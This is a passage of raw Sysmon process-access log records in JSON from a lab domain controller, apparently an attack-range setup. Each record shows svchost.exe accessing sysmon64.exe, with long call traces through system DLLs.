C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1445,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1446,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1447,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1448,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1449,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1450,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1451,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1452,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 